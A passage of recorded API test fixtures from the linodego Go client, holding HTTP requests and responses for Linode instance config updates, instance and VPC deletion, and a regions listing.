longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874251/configs/65094712 method: GET response: body: '{"id": 65094712, "label": "go-test-conf-nwp0gw7611b9", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": [{"id": 2047757, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 2047758, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 2047759, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 78827, "subnet_id": 76446, "ipv4": {"vpc": "192.168.0.87", "nat_1_1": null}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:25 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"comments":"","interfaces":null,"memory_limit":0,"init_rd":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874251/configs/65094712 method: PUT response: body: '{"id": 65094712, "label": "go-test-conf-nwp0gw7611b9", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": [{"id": 2047757, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 2047758, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 2047759, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 78827, "subnet_id": 76446, "ipv4": {"vpc": "192.168.0.87", "nat_1_1": null}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:25 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874251 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:25 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/78827 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:25 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_Config_Update.yaml000066400000000000000000001024471474652371000326530ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, 